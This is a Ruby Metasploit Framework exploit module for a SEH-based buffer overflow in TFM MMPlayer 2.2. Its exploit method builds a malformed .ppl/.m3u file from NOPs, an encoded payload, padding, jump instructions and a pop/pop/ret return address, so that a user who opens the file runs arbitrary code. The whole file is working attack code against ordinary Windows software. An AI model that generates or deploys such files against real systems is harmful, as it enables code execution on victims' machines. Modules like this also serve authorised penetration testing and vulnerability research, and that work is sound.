##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'TFM MMPlayer (m3u/ppl File) Buffer Overflow',
   'Description'    => %q{
    This module exploits a buffer overflow in MMPlayer 2.2
    The vulnerability is triggered when opening a malformed M3U/PPL file
    that contains an overly long string, which results in overwriting a
    SEH record, thus allowing arbitrary code execution under the context
    of the user.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'RjRjh Hack3r',                        # Original discovery and exploit
     'Brendan Coles <bcoles[at]gmail.com>'  # msf exploit
    ],
   'References'     =>
    [
     [ 'OSVDB', '80532' ],
     [ 'BID', '52698' ],
     [ 'EDB', '18656' ], # .m3u
     [ 'EDB', '18657' ]  # .ppl
    ],
   'DefaultOptions' =>
    {
     'ExitFunction' => 'seh',
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # Tested on:
     # Windows XP Pro SP3 - English
     # Windows Vista SP1 - English
     # Windows 7 Home Basic SP0 - English
     # Windows 7 Ultimate SP1 - English
     # Windows Server 2003 Enterprise SP2 - English
     [ 'Windows Universal', { 'Ret' => 0x00401390 } ], # p/p/r -> MMPlayer.exe
    ],
   'Payload'        =>
    {
     'Size' => 4000,
     'BadChars' => "\x00\x0a\x0d",
     'DisableNops' => false
    },
   'Privileged'     => false,
   'DisclosureDate' => 'Mar 23 2012',
   'DefaultTarget'  => 0
  ))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.', 'msf.ppl'])
   ], self.class)

 end

 def exploit

  nops   = make_nops(10)
  sc     = payload.encoded
  offset = Rex::Text.rand_text_alphanumeric(4103 - sc.length - nops.length)
  jmp    = Rex::Arch::X86.jmp(-4108)            # near jump 4103 bytes
  nseh   = Rex::Arch::X86.jmp_short(-7)         # jmp back 7 bytes
  nseh  << Rex::Text.rand_text_alphanumeric(2)
  seh    = [target.ret].pack('V')

  sploit  = nops
  sploit << sc
  sploit << offset
  sploit << jmp
  sploit << nseh
  sploit << seh

  # write file
  file_create(sploit)

 end
end